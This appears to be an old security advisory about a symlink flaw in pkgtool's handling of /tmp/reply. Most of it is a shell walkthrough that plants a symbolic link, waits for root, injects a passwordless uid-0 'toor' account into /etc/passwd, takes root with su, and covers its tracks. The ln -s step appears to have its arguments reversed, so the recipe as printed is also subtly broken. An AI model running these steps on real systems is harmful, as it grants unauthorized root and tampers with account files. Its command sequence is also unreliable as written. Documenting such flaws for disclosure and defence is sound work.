12 lines
No EOL
524 B
Text
12 lines
No EOL
524 B
Text
source: http://www.securityfocus.com/bid/82/info
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pkgtool creates the file /tmp/reply insecurely and follows symbolic links. An attacker can create a symbolic link from /tmp/reply to any file and wait for root to run the program. This will clober the target file.
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The file created has permissions -rw-rw-rw-.
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$ cp /etc/passwd /tmp/passwd
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$ ln -s /tmp/reply /etc/passwd
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< wait for root to run pkgtool >
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$ echo toor::0:0::/:/bin/sh > /etc/passwd
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$ su - toor
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# cp /tmp/passwd /etc/passwd
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# rm /tmp/reply /tmp/passwd |